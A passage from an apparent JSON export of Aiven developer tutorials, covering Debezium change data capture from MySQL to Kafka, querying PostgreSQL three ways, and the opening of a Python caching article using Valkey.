\"password\",\n \"include.schema.changes\": \"true\"\n}\n```\n\nWe need to replace the following values:\n\n* `\u003cCONNECTOR_NAME\u003e` is the name we're giving this connector. For this tutorial, set it to `mysql_source_deb_connector`.\n* The MySQL connection details from the previous section: `\u003cMYSQL_USERNAME\u003e`, `\u003cMYSQL_PASSWORD\u003e`, `\u003cMYSQL_HOSTNAME\u003e`, `\u003cMYSQL_PORT\u003e` and `\u003cMYSQL_DATABASE_NAME\u003e` and `\u003cMYSQL_SSL_MODE\u003e`\n* `\u003cUNIQUE_ID\u003e` a number, which must be different for each connector running. For this tutorial, set it to `12345`.\n* `\u003cKAFKA_TOPIC_PREFIX\u003e` will be used as a prefix for all the Kafka topics that this connector sends events to. For this tutorial, set it to `example`.\n* `\u003cMYSQ_TABLES\u003e` is the list of MySQL tables to capture changes from. This parameter is optional. The default is the empty string, which means capture all tables. For this tutorial, set it to `defaultdb.users`, the one table we have. (Note that there's also a parameter called `table.exclude.list` for the opposite effect.)\n* `\u003cNR_TASKS\u003e` should be set to 1, since the MySQL connector always uses a single task. This is actually the default value, so the `tasks.max` parameter can also be omitted.\n* `\u003cHISTORY_TOPIC_NAME\u003e` is the name of the Apache Kafka topic that contains the history of schema changes. For this tutorial, set it to `ddl_history`.\n* The Apache Kafka schema registry details from the previous section: `\u003cAPACHE_KAFKA_HOST\u003e:\u003cSCHEMA_REGISTRY_PORT\u003e` and `\u003cSCHEMA_REGISTRY_USER\u003e:\u003cSCHEMA_REGISTRY_PASSWORD\u003e`\n* The Apache Kafka details from the previous section: `\u003cAPACHE_KAFKA_HOST\u003e:\u003cAPACHE_KAFKA_PORT\u003e`\n\nSee the [Debezium MySQL connector documentation](https://debezium.io/documentation/reference/3.0/connectors/mysql.html) for more infomation.\n\n### Start the Debezium source connector\n\nOnce the parameters are substituted, we can start the Debezium source connector with:\n\n```bash\navn service connector create demo-kafka @mysql_source_deb_connector.json\n```\n\nSince we set the `name` parameter to `mysql_source_deb_connector`, the above starts a connector with that name.\n\n\nWe can check its status with:\n\n```bash\navn service connector status demo-kafka mysql_source_deb_connector\n```\n\nThe status should be `RUNNING`.\n\n```json\n{\n \"status\": {\n \"state\": \"RUNNING\",\n \"tasks\": [\n {\n \"id\": 0,\n \"state\": \"RUNNING\",\n \"trace\": \"\"\n }\n ]\n }\n}\n```\n\n### Check the data in Apache Kafka with kcat\n\nIf the connector is up and running, we can check that the data is flowing from MySQL to Apache Kafka with [kcat](https://aiven.io/docs/products/kafka/howto/kcat). Get the kcat parameters and download the certificates needed to connect with:\n\n```bash\navn service connection-info kcat demo-kafka -u avnadmin -W\n```\n\nThe above command will store the three certificates (`ca.pem`, `service.crt` and `service.key`) in the current local folder and return the command to execute. \n\nTo verify the data in Apache Kafka we can use the following command, substituting the placeholders for `\u003cKAFKA_HOST\u003e`, `\u003cKAFKA_PORT\u003e`, `\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e`, `\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e`, `\u003cKAFKA_HOST\u003e`, and `\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e`. \n\n```curl\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e \\\n -X security.protocol=SSL \\\n -X ssl.ca.location=ca.pem \\\n -X ssl.key.location=service.key \\\n -X ssl.certificate.location=service.crt \\\n -C -t example.defaultdb.users \\\n -s avro \\\n -r https://\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e\n```\n\n::alert[Note: the above command is consuming (`-C` flag) from the topic `example.defaultdb.users` (`-t` flag) in Apache Avro format (`-s` flag). The topic name is determined by the concatenation of the connector parameter `topic.prefix` (`example`) and the table name (`defaultdb.users`).]{title=\"Note\"}\n\nAfter executing the `kcat` command, the data in Apache Kafka should be similar to the following:\n\n```json\n{\"id\": 1}{\"before\": null, \"after\": {\"Value\": {\"id\": 1, \"username\": {\"string\": \"Francesco\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"first\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275527}, \"transaction\": null}\n{\"id\": 2}{\"before\": null, \"after\": {\"Value\": {\"id\": 2, \"username\": {\"string\": \"Ana\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275530}, \"transaction\": null}\n{\"id\": 3}{\"before\": null, \"after\": {\"Value\": {\"id\": 3, \"username\": {\"string\": \"Floor\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275000, \"snapshot\": {\"string\": \"last\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"op\": \"r\", \"ts_ms\": {\"long\": 1733226275531}, \"transaction\": null}\n% Reached end of topic example.defaultdb.users [0] at offset 3\n```\n\nNot only do we get the three values stored in the `users` table, but we also get additional useful metadata like when the insert/update/deletion happened (in the `ts_ms` parameter) and the position in the binlog file.\n\nIf we now add a new value in MySQL `users` table with:\n\n```sql\ninsert into users(username) values ('Carlo');\n```\n\nWe should see it immediately pop up in the Apache Kafka topic:\n\n```json\n{\"id\": 4}{\"before\": null, \"after\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Carlo\"}}}, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226538000, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:39\"}, \"file\": \"binlog.000290\", \"pos\": 420, \"row\": 0, \"thread\": {\"long\": 20671}, \"query\": null}, \"op\": \"c\", \"ts_ms\": {\"long\": 1733226538394}, \"transaction\": null}\n% Reached end of topic example.defaultdb.users [0] at offset 4\n```\n\nIf we now remove the row containing `Carlo` with:\n\n```sql\ndelete from users where username='Carlo';\n```\n\nWe see the corresponding delete (`\"op\": \"d\"`) in Apache Kafka:\n\n```json\n{\"id\": 4}{\"before\": {\"Value\": {\"id\": 4, \"username\": {\"string\": \"Carlo\"}}}, \"after\": null, \"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226572000, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:40\"}, \"file\": \"binlog.000290\", \"pos\": 725, \"row\": 0, \"thread\": {\"long\": 20671}, \"query\": null}, \"op\": \"d\", \"ts_ms\": {\"long\": 1733226572691}, \"transaction\": null}\n{\"id\": 4}\n% Reached end of topic example.defaultdb.users [0] at offset 6\n```\n\n## Altering the schema\n\n\nWhere is the MySQL schema stored? There are two topics:\n* one called `ddl_history` (named by the `database.history.kafka.topic` parameter) which stores the schema for Debezium's inner workings so that Debezium [can resume work if it crashes](https://debezium.io/documentation/reference/stable/connectors/mysql.html#mysql-schema-history-topi)\n* the other called `example` (based on the `topic.prefix` parameter) where the connector stores all the DDLs needed to replicate the state in another MySQL database.\n\nWe can fetch the latter topic with kcat:\n\n```bash\nkcat -b \u003cKAFKA_HOST\u003e:\u003cKAFKA_PORT\u003e \\\n -X security.protocol=SSL \\\n -X ssl.ca.location=ca.pem \\\n -X ssl.key.location=service.key \\\n -X ssl.certificate.location=service.crt \\\n -C -t example \\\n -s avro \\\n -r https://\u003cKAFKA_SCHEMA_REGISTRY_USR\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PWD\u003e@\u003cKAFKA_HOST\u003e:\u003cKAFKA_SCHEMA_REGISTRY_PORT\u003e \n```\n\nWe get the full list of DDLs needed to replicate the state into a new MySQL database.\n\n\n```json\n{\"databaseName\": \"\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226274272, \"snapshot\": {\"string\": \"true\"}, \"db\": \"\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275042, \"databaseName\": {\"string\": \"\"}, \"schemaName\": null, \"ddl\": {\"string\": \"SET character_set_server=utf8mb4, collation_server=utf8mb4_0900_ai_ci\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275044, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275086, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"DROP TABLE IF EXISTS `defaultdb`.`users`\"}, \"tableChanges\": [{\"type\": \"DROP\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": null}]}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275092, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275098, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"DROP DATABASE IF EXISTS `defaultdb`\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275098, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275107, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"CREATE DATABASE `defaultdb` CHARSET utf8mb4 COLLATE utf8mb4_0900_ai_ci\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275107, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": null, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275109, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"USE `defaultdb`\"}, \"tableChanges\": []}\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226275124, \"snapshot\": {\"string\": \"true\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 0, \"gtid\": null, \"file\": \"binlog.000289\", \"pos\": 197, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226275197, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"CREATE TABLE \\\"users\\\" (\\n \\\"id\\\" bigint unsigned NOT NULL AUTO_INCREMENT,\\n \\\"username\\\" varchar(100) DEFAULT NULL,\\n PRIMARY KEY (\\\"id\\\"),\\n UNIQUE KEY \\\"id\\\" (\\\"id\\\")\\n)\"}, \"tableChanges\": [{\"type\": \"CREATE\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": {\"Table\": {\"defaultCharsetName\": {\"string\": \"utf8mb4\"}, \"primaryKeyColumnNames\": {\"array\": [\"id\"]}, \"columns\": [{\"name\": \"id\", \"jdbcType\": -5, \"nativeType\": null, \"typeName\": \"BIGINT UNSIGNED\", \"typeExpression\": {\"string\": \"BIGINT UNSIGNED\"}, \"charsetName\": null, \"length\": null, \"scale\": null, \"position\": 1, \"optional\": {\"boolean\": false}, \"autoIncremented\": {\"boolean\": true}, \"generated\": {\"boolean\": true}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"username\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 100}, \"scale\": null, \"position\": 2, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}], \"comment\": null}}}]}\n% Reached end of topic example [0] at offset 6\n```\n\n::alert[The response also contains database truncation statements which might delete other tables present in the same target database.]{title=\"Warning\"}\n\nIf we now add a column to the source MySQL database with:\n\n```sql\nalter table users add column country varchar(3);\n```\n\nWe get a new entry in the `example` topic defining the DDL change we just implemented:\n\n```json\n{\"databaseName\": \"defaultdb\"}{\"source\": {\"version\": \"2.5.0.Final.Aiven\", \"connector\": \"mysql\", \"name\": \"example\", \"ts_ms\": 1733226759134, \"snapshot\": {\"string\": \"false\"}, \"db\": \"defaultdb\", \"sequence\": null, \"table\": {\"string\": \"users\"}, \"server_id\": 710603388, \"gtid\": {\"string\": \"3f6f07d7-b0a4-11ef-9d29-0adcce978e09:41\"}, \"file\": \"binlog.000291\", \"pos\": 274, \"row\": 0, \"thread\": null, \"query\": null}, \"ts_ms\": 1733226759153, \"databaseName\": {\"string\": \"defaultdb\"}, \"schemaName\": null, \"ddl\": {\"string\": \"alter table users add column country varchar(3)\"}, \"tableChanges\": [{\"type\": \"ALTER\", \"id\": \"\\\"defaultdb\\\".\\\"users\\\"\", \"table\": {\"Table\": {\"defaultCharsetName\": {\"string\": \"utf8mb4\"}, \"primaryKeyColumnNames\": {\"array\": [\"id\"]}, \"columns\": [{\"name\": \"id\", \"jdbcType\": -5, \"nativeType\": null, \"typeName\": \"BIGINT UNSIGNED\", \"typeExpression\": {\"string\": \"BIGINT UNSIGNED\"}, \"charsetName\": null, \"length\": null, \"scale\": null, \"position\": 1, \"optional\": {\"boolean\": false}, \"autoIncremented\": {\"boolean\": true}, \"generated\": {\"boolean\": true}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"username\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 100}, \"scale\": null, \"position\": 2, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}, {\"name\": \"country\", \"jdbcType\": 12, \"nativeType\": null, \"typeName\": \"VARCHAR\", \"typeExpression\": {\"string\": \"VARCHAR\"}, \"charsetName\": {\"string\": \"utf8mb4\"}, \"length\": {\"int\": 3}, \"scale\": null, \"position\": 3, \"optional\": {\"boolean\": true}, \"autoIncremented\": {\"boolean\": false}, \"generated\": {\"boolean\": false}, \"comment\": null, \"defaultValueExpression\": null, \"enumValues\": null}], \"comment\": null}}}]}\n% Reached end of topic example [0] at offset 7\n```\n\n## Conclusion\n\nThe Debezium connector for Apache Kafka tracks, in real time, all the changes happening in one or more MySQL tables into a series of topics by reading the binlog. The messages in Apache Kafka contain the update data and are also enriched with metadata information like the transaction ids and timestamp. Furthermore, the usage of a dedicated topic to track DDL changes enables additional control over the table structures useful to replicate the database structure when needed.\n\nYou can dig more with the following resources:\n\n* [Create a Debezium source connector from MySQL to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-mysql) in the [Aiven documentation](https://aiven.io/docs)\n* [Debezium source connector to MySQL](https://debezium.io/documentation/reference/stable/connectors/mysql.html)\n* [Debezium data type mappings](https://debezium.io/documentation/reference/stable/connectors/mysql.html#mysql-data-types)\n* [MySQL binlog](https://dev.mysql.com/doc/refman/8.0/en/binary-log.html)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-18T17:32:17.411Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"cfd51b397b1a","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"},{"_key":"394c30a7b9f9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-09-11T10:00:10.564Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Enabling change data capture from MySQl to Apache Kafka with Debezium\" on a blue background with the Aiven logo in the bottom left.","asset":{"_ref":"image-756c229fdd8aaed6e9d6268ebbab0f08ea4c24aa-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/change-data-capture-mysql-apache-kafka-debezium"},"subtitle":"Implement a change data capture workflow in Apache Kafka®, a key component of any organization with high data integrity requirements.","tags":[{"_key":"ea488beed192","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"b8294a44e1e6","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e0fc4226e6dd","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"885727e48a8b","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Enabling change data capture from MySQL to Apache Kafka® with Debezium"} {"__i18n_lang":"en","_createdAt":"2024-11-18T12:34:25Z","_id":"fed3568f-2be7-47d6-9fc9-fe56ca85135b","_rev":"T130WEs22RB6SoEkOBncaK","_type":"devArticle","_updatedAt":"2024-11-19T09:43:53Z","body":"The first step of interacting with a new PostgreSQL® database is running a query. **Querying** a database is any action in which you request information from a database. That information can be rows of a table that match certain criteria, an entire table itself, or the result of a mathematical operation on a column’s data. \n\nIn this article we’ll go through 3 different ways to query a PostgreSQL database. We’ll also cover how to view active queries in the Aiven console, and how to optimize SQL queries using the Aiven SQL optimizer.\n\n## Sign up for Aiven and install psql\n\nIn this article, we’ll be querying an Aiven for PostgreSQL database. [Sign up for a free database today](https://console.aiven.io/signup) to follow along. \n\nWhen you’ve signed up, select **Create Service**, then create a PostgreSQL database. You can either use the free tier or a free trial PostgreSQL database.\n\n## Install psql\n\nNext, use the command line to install [psql](https://www.postgresql.org/docs/7.0/app-psql.htm?ref=aiven). Psql is the official command line tool for Postgres. We’ll be using this for multiple steps in this tutorial\n\n### On Mac using Homebrew: \nIn a terminal window, type: \n\n```bash \nbrew install libpq\n```\n\n### On Linux using sudo apt-get\nIn a terminal window, type:\n\n```bash\nsudo apt install postgresql-client\n```\n\n### On Windows using the PostgreSQL installer\n\nGo to [postgresql.org](hhttp://postgresql.org?ref=aiven) and use the installer. \n\n### Connect to the database using psql\n\nWe need to add a table to our database and insert some data so we can query it in the next sections. \n\nTo connect to the Aiven for PostgreSQL database:\n\n1. In the Aiven Console’s Overview page for your database, click the **Quick Connect** button\n2. Copy the code sample into a terminal window, and hit enter. It should look similar to: \n`psql '\u003cYOUR_SERVICE_URI\u003e'`\n\n\nThis connects you to the database. You should see output similar to the following:\n\n```bash\n\u003e psql (16.2, server 16.4)\n\u003e SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)\n\u003e Type \"help\" for help.\n```\n\n## Insert data into a PostgreSQL database using psql\n\nOnce connected, type the following into your terminal window and press enter to create a basic table for querying.\n\n```bash\nCREATE TABLE users (\n ID INT PRIMARY KEY,\n name VARCHAR(255)\n);\n```\n\nYou should see the following output if successful: \n\n```bash\n\u003e CREATE TABLE\n```\n\nNext, insert some data into the table: \n\n```bash\nINSERT INTO users (ID, name) VALUES\n(1, 'Celeste'),\n(2, 'Jay'),\n(3, 'Tibs'),\n(4, 'Olena');\n```\n\nYou should see the following output if successful: \n\n```bash\n\u003e INSERT 0 4\n```\n\n## The difference between a query and an insert\n\nIn SQL, an `INSERT` statement, like the one above, writes data to the database. A `SELECT` statement reads data from the database. “Query” is used as a general term in the database world and refers to any operation which starts from or includes a read from the database. Some queries can also return the result of transforming the data from the database, or the result of a calculation performed on the data. These queries typically include the `WHERE` operator, and can include mathematical operators such as `+`, `-`, `*` `/ `and `%`. \n\n\n## Query a PostgreSQL database table using psql\n\nLet’s run a basic query against our table to ensure it was created correctly. Assuming you’re still connected to the database as above, use the following command: \n\n```bash\nSELECT * FROM users; \n```\n\nWhich should return the following: \n\n```bash\n id | name\n----+---------\n 1 | Celeste\n 2 | Jay\n 3 | Tibs\n 4 | Olena\n(4 rows)\n``` \n\n## Query a PostgreSQL database table using pgAdmin \n\nThe command line is a preferable tool for many, but sometimes it’s useful to inspect a database using a visual aid. PgAdmin is the tool of choice for many when using a UI.\n\n[Download pgAdmin](https://www.pgadmin.org/?ref=aiven), install it and run to begin.\n\nTo query data against our Aiven for PostgreSQL database, next we need to add the database to pgAdmin: \n\n1. Click the Add New Server button. Name the server Aiven. \n2. In the Connections tab add the following from the service Overview in the Aiven console: \n\t-** Host name/address:** The **Host** listed in the overview\n\t- **Port:** The **Port** listed in the overview\n\t-** Maintenance database:** The default database in the overview, usually **defaultdb** \n\t-** Username:** The **Username** in the overview, usually **avnadmin**\n\t-** Password:** The **Password** in the overview\n3. Click** Save and Connect**, and in the left hand pane expand the Aiven database. It should look like the following: \n\n![Screenshot of a pgAdmin window with the server tree expanded. Note the users table on the left hand pane.](https://cdn.sanity.io/images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png)\n\n\nFrom here, expand **Schemas** and you should see the table we created earlier, **users**. If you right click the table and select** View/Edit Data \u003e All Rows**, you should see the following: \n\n\n![Screenshot of pgAdmin with the right hand pane populated by the users table](https://cdn.sanity.io/images/sczeoy4w/production/9f7dea63968804d9fec300fdfe5f0ac1654f0287-1999x1313.png)\n\nThe top right pane labeled Query allows us to query the data in the table as we desire. Selecting **View/Edit Data** as we did auto-populates the `SELECT * FROM users` query we used previously. You can replace the text in the top right pane with any query you want to run.\n\n## Query a PostgreSQL database using a language-specific package\n\nThe [Aiven for PostgreSQL documentation ](https://aiven.io/docs/products/postgresql/howto/list-code-samples) includes examples for connecting to PostgreSQL databases in all major programming languages with the recommended packages. This example is copied from the Python example and uses the `psycopg2` package: \n\n```python\nimport psycopg2\n\n\ndef main():\n conn = psycopg2.connect('POSTGRESQL_URI')\n\n query_sql = 'SELECT * FROM users'\n\n cur = conn.cursor()\n cur.execute(query_sql)\n\n users = cur.fetchone()[0]\n print(users)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Other types of queries\n\nPostgres databases support a fully featured SQL query language. SQL is a query language commonly used for data management systems, though it varies slightly from implementation to implementation. As such, we recommend following the [PostgreSQL project’s documentation](https://www.postgresql.org/docs/current/sql.html?ref=aiven) for the full list of available commands. \n\nIf you aren’t keen on learning too much SQL, [Aiven’s free Text to SQL tool](https://https://aiven.io/tools/text-to-sql) takes natural language and turns it into valid SQL commands.\n\nBut let’s return to our small example table, and run some more complex commands. One of the most useful commands we can run selects rows based on a condition using the `WHERE` operator. \n\nFor example, if we wanted to calculate the number of rows with an even-numbered ID (divisible by 2), we could use the following: \n\n```bash\nSELECT COUNT(*) FROM users WHERE ID % 2 = 0;\n```\n\nThis should return the count of two, as follows: \n\n```bash\n\u003e count\n\u003e -------\n\u003e 2\n```\n\nSimilarly, you can also search for specific values within a column. Running:\n\n```bash\nSELECT * FROM users WHERE name = 'Celeste';\n```\n\nShould return the following:\n\n```bash\n\u003e id | name\n\u003e ----+---------\n\u003e 1 | Celeste\n```\n\n## Monitor active queries (connections) to the database using the Aiven console \n\nThe **Current Queries** tab in the Aiven console shows any active queries (or connections) to your PostgreSQL instance.\n\nWhile we recommend connecting using a secure SSL connection only, this view also allows you to terminate any connections for reasons you see fit. \n\n![Screenshot of the current queries tab in the Aiven Console, showing a running query](https://cdn.sanity.io/images/sczeoy4w/production/67ff2fdc8388329ec20a267bafdf967d7f62ac52-1999x1201.png)\n\n## Optimize queries using the Aiven SQL Optimizer\n\nThe examples given in this article are simplistic because the data we’re operating on is simplistic as well. In practice, SQL queries can get extremely complex, and an inefficient SQL query can lead to a significant increase in compute and network traffic – both of which can increase cost for you, the end user.\n\nAiven offers [a suite of free SQL tools](https://aiven.io/tools) for you to use to optimize your queries. You can [optimize complex queries using AI](https://https://aiven.io/tools), [convert plain language to SQL](**https://**), and more. The Aiven Console also includes the **AI Insights** optimizer, which can help you fine tune performance: \n\n![Screenshot of the AI Insights optimizer](https://cdn.sanity.io/images/sczeoy4w/production/cb53ad72178537702809ccfabe99f9d418093eeb-1200x836.png)\n\n## Next steps\n- [Sign up for a free PostgreSQL database](https://console.aiven.io/signup)\n- [Use indexes to speed up PostgreSQL queries](https://aiven.io/developer/postgresql-pgvector-indexes)\n- [Query a PostgreSQL database using GraphQL](https://aiven.io/developer/query-a-postgresqlr-database-using-graphql)\n- [Use PostgreSQL DOMAIN rules to validate data](https://aiven.io/developer/postgresql)\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-25T12:34:20.835Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-11-19T09:43:51.383Z","seo":{"_type":"metaData","metaDescription":"Run a query against a PostgresSQL® database to inspect the data inside its tables using the command line, a graphical interface, and a language-specific package","metaImage":{"_type":"mainImage","alt":"White text on a blue background reading \"Query a PostgreSQL® database 3 ways\". The Aiven logo appears in the bottom left.","asset":{"_ref":"image-79564834bc797e6e5d2973b0b8a24ab948202d0b-1200x628-png","_type":"reference"}},"metaTitle":"Query a PostgresSQL® database 3 ways"},"slug":{"_type":"slug","current":"/developer/query-a-postgresql-database"},"subtitle":"Run a query against a PostgresSQL® database to inspect the data inside its tables using the command line, a graphical interface, and a language-specific package","tags":[{"_key":"30f82e2356d3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"}],"title":"Query a PostgresSQL® database 3 ways"} {"__i18n_lang":"en","_createdAt":"2023-06-22T09:33:27Z","_id":"110695fb-7084-48fa-a3e0-1b49f9966d26","_rev":"dRenvgbRIku6htF3JKoO7n","_type":"devArticle","_updatedAt":"2024-10-23T08:49:33Z","body":"## What we'll learn\n\n* How to write a simple Python web application that accesses data in a PostgreSQL® database\n* How to use `curl` at the command line to make GET and POST requests to that web application\n* Why caching the GET response is a good idea, and how to do that with Valkey™, a key-value store using the Redis serialization protocol\n* Some basics about cache invalidation - how to make sure the cache doesn't get out-of-date\n\n## Overview\n\nWith any sufficiently complex application, performance becomes a primary concern for optimization. One of the key metrics for measuring performance of any software is the speed of reading and writing from a database.\n\nMost applications repeatedly store (write) and retrieve (read) some kind of data. However in most cases, the number of reads far exceeds the number of writes. To make this more efficient, we used a caching layer. Caching is the act of writing to a location (for instance, a block of memory) specifically designed for quick retrieval of common requests.\n\nFor example, imagine a customer creating a profile on an online store. The customer fills out their name, phone number, and address, which we store to our database. Because these pieces of information are required at multiple points in the checkout process, it's worth storing them in a cache the first time we retrieve them from the database. This speeds up application processing time for all following retrievals. The difference in retrieval speed for any single request might be mere milliseconds, but when we develop applications for the cloud, for millions of users simultaneously, those milliseconds add up.\n\nCaching cloud applications introduces some complexities but also offers opportunity for optimization. Instead of using a block of memory (and the unbounded, chaotic nature that entails), we can use two databases! We can use one database as a data store, and one as a cache. Further, we can choose a database for our data store that is optimized for things like concurrency control and one for our cache optiized for speedy reads and writes, while still taking advantage of everything the cloud offers us in terms of scalability.\n\n## Prerequisites\n\nWe're going to be writing a web application in Python, and you'll need at least **Python 3.9**.\n\n* We'll use the following frameworks:\n * ``fastapi`` (https://fastapi.tiangolo.com/) for writing our web application,\n * ``uvicorn`` (https://www.uvicorn.org/) to run that web application\n * ``psycopg2`` (https://www.psycopg.org/) for talking to PostgreSQL®\n * ``valkey-py`` (https://github.com/valkey-io/valkey-py) for talking to Valkey™\n\n* CLI tooling: \n * [psql](https://www.postgresql.org/docs/current/app-psql.html) for PostgreSQL. This is useful as it's the standard tool that will work for any PostgreSQL service on any system.\n * We built the [avn CLI](https://aiven.io/docs/tools/cli) to take advantage of all the features Aiven offers for its products, and this works 